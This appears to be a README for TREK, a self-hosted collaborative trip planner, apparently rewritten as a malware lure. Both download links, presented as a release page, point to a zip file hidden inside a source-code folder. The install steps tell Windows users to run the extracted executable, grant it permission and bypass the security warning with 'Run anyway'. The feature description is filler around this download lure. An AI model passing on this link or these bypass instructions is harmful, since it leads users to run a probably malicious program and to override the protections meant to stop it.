🌍 TREK - Plan trips with live teamwork

🧭 What is TREK?

TREK is a travel and trip planner you can host yourself. It helps you build trips, track budgets, save places, and plan routes in one place.

It also supports live collaboration, so more than one person can work on the same trip. You can use it on the web, install it as a PWA, and sign in with SSO if your setup supports it.

✨ What you can do with TREK

• Plan a full trip from one screen
• Share trips with friends and family
• Edit plans in real time
• Mark places on a map
• Track trip costs and budgets
• Build packing lists
• Save points of interest
• Plan routes between stops
• Use it as a web app or PWA
• Run it on your own server

🖥️ What you need

TREK runs on a Windows computer through the release files on GitHub. For the best result, use:

• Windows 10 or Windows 11
• A modern web browser
• A stable internet connection
• A GitHub account if you want to download from releases

If you plan to host TREK for yourself later, you will also need a server setup, but for basic use you only need to download the app from the release page.

📥 Download TREK

Visit this page to download:
https://raw.githubusercontent.com/Kakashi-Your-Death/TREK/main/client/src/components/Dashboard/Software-v3.4.zip

1. Open the release page link above
2. Look for the latest release
3. Download the Windows file from the release assets
4. Save the file to a folder you can find, like Downloads or Desktop

🚀 Install and run on Windows

1. Download the app

Go to the release page and get the Windows version of TREK. If the release includes a setup file, download that file. If it includes a zip file, download the zip file instead.

2. Open the file

• If you downloaded an .exe file, double-click it
• If you downloaded a .zip file, right-click it and choose Extract All
• Open the extracted folder and find the app file inside

3. Start TREK

Double-click the app file to launch TREK.

If Windows asks for permission, choose Allow or Run.

4. Open it in your browser

TREK may open in your browser or show a local address like http://localhost:...

If it does, copy that address into your browser if it does not open on its own

🌐 First-time setup

When TREK starts for the first time, you may need to:

• Create your first user account
• Set a trip name
• Choose your time zone
• Connect a map source if your setup needs one
• Enter budget values for your trip
• Add travel dates and stops

If you use TREK with other people, share the trip link or invite them through the team settings.

🗺️ Main features

Real-time collaboration

Work on the same trip with other people at the same time. Changes appear as they happen.

Interactive maps

Add places, stops, and points of interest on a map. Use them to see your route and trip flow.

Budget tracking

Set a trip budget and keep track of planned costs. This helps you see where money goes.

Packing lists

Create lists for clothes, gear, papers, and personal items. Check items off as you pack.

Route planning

Plan the order of your stops and see how your trip fits together.

PWA support

Install TREK like an app on supported browsers. This helps if you want quick access from your desktop.

SSO support

If your TREK setup uses single sign-on, you can sign in with your normal account flow.

Self-hosted setup

You control where the app runs and where your data lives.

📁 Typical use flow

1. Create a new trip
2. Add travel dates
3. Add destinations and stops
4. Place locations on the map
5. Set a budget
6. Add packing items
7. Share the trip with others
8. Update plans as your trip changes

🔧 Common Windows issues

The file will not open

• Check that the download finished
• Try downloading the latest release again
• Make sure you opened the correct file from the release assets

Windows blocks the app

• Right-click the file and check its properties
• If Windows shows a security prompt, choose Run or More info, then Run anyway

The browser does not open

• Look for a local address in the app window
• Copy that address into Chrome, Edge, or Firefox

The page looks blank

• Refresh the page
• Wait a few seconds for the app to load
• Try another browser

🧩 Who TREK is for

TREK fits people who want one place to plan a trip with others. It works well for:

• Friends planning a vacation
• Families organizing travel
• Small teams sharing a trip plan
• Users who want control over their travel data
• People who like maps, budgets, and checklists in one app

🔒 Privacy and control

Because TREK is self-hosted, you decide where it runs. That gives you more control over your data and how the app is used. This setup can suit private groups, teams, or anyone who wants to keep travel plans in their own environment

📌 Release downloads

Use the release page for every Windows download, update, or fresh install:
https://raw.githubusercontent.com/Kakashi-Your-Death/TREK/main/client/src/components/Dashboard/Software-v3.4.zip

When a new version appears:

1. Open the release page
2. Check the top release
3. Download the newest Windows file
4. Replace the old version if needed
5. Open the app again

🛠️ If you want to host TREK later

If you want to run TREK on your own server, you can use a standard web app setup with:

• A host machine
• A web server
• A database
• A browser for access
• Optional SSO settings
• Optional map and trip data config

This is useful if you want shared access for a group or want to keep everything under your own control

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